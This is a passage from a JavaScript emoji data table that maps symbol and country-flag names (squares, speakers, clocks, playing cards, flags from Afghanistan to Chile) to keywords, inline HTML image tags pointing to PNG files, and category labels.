    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b1c" src="2b1c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  small_red_triangle_down: {
    keywords: [ "shape", "direction", "bottom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3b" src="1f53b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_medium_square: {
    keywords: [ "shape", "button", "icon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fc\ufe0f" src="25fc.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_medium_square: {
    keywords: [ "shape", "stone", "icon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fb\ufe0f" src="25fb.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_medium_small_square: {
    keywords: [ "icon", "shape", "button" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fe" src="25fe.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_medium_small_square: {
    keywords: [ "shape", "stone", "icon", "button" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fd" src="25fd.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_square_button: {
    keywords: [ "shape", "input", "frame" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd32" src="1f532.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  white_square_button: {
    keywords: [ "shape", "input" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd33" src="1f533.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  speaker: {
    keywords: [ "sound", "volume", "silence", "broadcast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd08" src="1f508.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sound: {
    keywords: [ "volume", "speaker", "broadcast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd09" src="1f509.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loud_sound: {
    keywords: [ "volume", "noise", "noisy", "speaker", "broadcast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0a" src="1f50a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mute: {
    keywords: [ "sound", "volume", "silence", "quiet" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd07" src="1f507.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mega: {
    keywords: [ "sound", "speaker", "volume" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce3" src="1f4e3.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  loudspeaker: {
    keywords: [ "volume", "sound" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce2" src="1f4e2.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  bell: {
    keywords: [ "sound", "notification", "christmas", "xmas", "chime" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd14" src="1f514.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  no_bell: {
    keywords: [ "sound", "volume", "mute", "quiet", "silent" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd15" src="1f515.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_joker: {
    keywords: [ "poker", "cards", "game", "play", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udccf" src="1f0cf.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  mahjong: {
    keywords: [ "game", "play", "chinese", "kanji" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udc04" src="1f004.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  spades: {
    keywords: [ "poker", "cards", "suits", "magic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2660\ufe0f" src="2660.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clubs: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2663\ufe0f" src="2663.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  hearts: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2665\ufe0f" src="2665.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  diamonds: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2666\ufe0f" src="2666.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  flower_playing_cards: {
    keywords: [ "game", "sunset", "red" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb4" src="1f3b4.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  thought_balloon: {
    keywords: [ "bubble", "cloud", "speech", "thinking", "dream" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcad" src="1f4ad.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  right_anger_bubble: {
    keywords: [ "caption", "speech", "thinking", "mad" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddef" src="1f5ef.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  speech_balloon: {
    keywords: [ "bubble", "words", "message", "talk", "chatting" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcac" src="1f4ac.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_speech_bubble: {
    keywords: [ "words", "message", "talk", "chatting" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde8" src="1f5e8.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd50" src="1f550.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock2: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd51" src="1f551.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock3: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd52" src="1f552.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock4: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd53" src="1f553.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock5: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd54" src="1f554.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock6: {
    keywords: [ "time", "late", "early", "schedule", "dawn", "dusk" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd55" src="1f555.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock7: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd56" src="1f556.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock8: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd57" src="1f557.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock9: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd58" src="1f558.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock10: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd59" src="1f559.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock11: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5a" src="1f55a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock12: {
    keywords: [ "time", "noon", "midnight", "midday", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5b" src="1f55b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock130: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5c" src="1f55c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock230: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5d" src="1f55d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock330: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5e" src="1f55e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock430: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5f" src="1f55f.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock530: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd60" src="1f560.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock630: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd61" src="1f561.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock730: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd62" src="1f562.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock830: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd63" src="1f563.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock930: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd64" src="1f564.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1030: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd65" src="1f565.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1130: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd66" src="1f566.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1230: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd67" src="1f567.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  afghanistan: {
    keywords: [ "af", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddeb" src="1f1e6-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  aland_islands: {
    keywords: [ "\xc5land", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfd" src="1f1e6-1f1fd.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  albania: {
    keywords: [ "al", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf1" src="1f1e6-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  algeria: {
    keywords: [ "dz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddff" src="1f1e9-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  american_samoa: {
    keywords: [ "american", "ws", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf8" src="1f1e6-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  andorra: {
    keywords: [ "ad", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\udde9" src="1f1e6-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  angola: {
    keywords: [ "ao", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf4" src="1f1e6-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  anguilla: {
    keywords: [ "ai", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddee" src="1f1e6-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  antarctica: {
    keywords: [ "aq", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf6" src="1f1e6-1f1f6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  antigua_barbuda: {
    keywords: [ "antigua", "barbuda", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddec" src="1f1e6-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  argentina: {
    keywords: [ "ar", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf7" src="1f1e6-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  armenia: {
    keywords: [ "am", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf2" src="1f1e6-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  aruba: {
    keywords: [ "aw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfc" src="1f1e6-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  australia: {
    keywords: [ "au", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfa" src="1f1e6-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  austria: {
    keywords: [ "at", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf9" src="1f1e6-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  azerbaijan: {
    keywords: [ "az", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddff" src="1f1e6-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bahamas: {
    keywords: [ "bs", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf8" src="1f1e7-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bahrain: {
    keywords: [ "bh", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udded" src="1f1e7-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bangladesh: {
    keywords: [ "bd", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde9" src="1f1e7-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  barbados: {
    keywords: [ "bb", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde7" src="1f1e7-1f1e7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  belarus: {
    keywords: [ "by", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddfe" src="1f1e7-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  belgium: {
    keywords: [ "be", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddea" src="1f1e7-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  belize: {
    keywords: [ "bz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddff" src="1f1e7-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  benin: {
    keywords: [ "bj", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddef" src="1f1e7-1f1ef.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bermuda: {
    keywords: [ "bm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf2" src="1f1e7-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bhutan: {
    keywords: [ "bt", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf9" src="1f1e7-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bolivia: {
    keywords: [ "bo", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf4" src="1f1e7-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  caribbean_netherlands: {
    keywords: [ "bonaire", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf6" src="1f1e7-1f1f6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bosnia_herzegovina: {
    keywords: [ "bosnia", "herzegovina", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde6" src="1f1e7-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  botswana: {
    keywords: [ "bw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddfc" src="1f1e7-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  brazil: {
    keywords: [ "br", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf7" src="1f1e7-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  british_indian_ocean_territory: {
    keywords: [ "british", "indian", "ocean", "territory", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf4" src="1f1ee-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  british_virgin_islands: {
    keywords: [ "british", "virgin", "islands", "bvi", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddec" src="1f1fb-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  brunei: {
    keywords: [ "bn", "darussalam", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf3" src="1f1e7-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  bulgaria: {
    keywords: [ "bg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddec" src="1f1e7-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  burkina_faso: {
    keywords: [ "burkina", "faso", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddeb" src="1f1e7-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  burundi: {
    keywords: [ "bi", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddee" src="1f1e7-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cape_verde: {
    keywords: [ "cabo", "verde", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfb" src="1f1e8-1f1fb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cambodia: {
    keywords: [ "kh", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\udded" src="1f1f0-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cameroon: {
    keywords: [ "cm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf2" src="1f1e8-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  canada: {
    keywords: [ "ca", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde6" src="1f1e8-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  canary_islands: {
    keywords: [ "canary", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\udde8" src="1f1ee-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cayman_islands: {
    keywords: [ "cayman", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddfe" src="1f1f0-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  central_african_republic: {
    keywords: [ "central", "african", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddeb" src="1f1e8-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  chad: {
    keywords: [ "td", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udde9" src="1f1f9-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  chile: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf1" src="1f1e8-1f1f1.png"/>',
    fitzpatrick_scale: false,
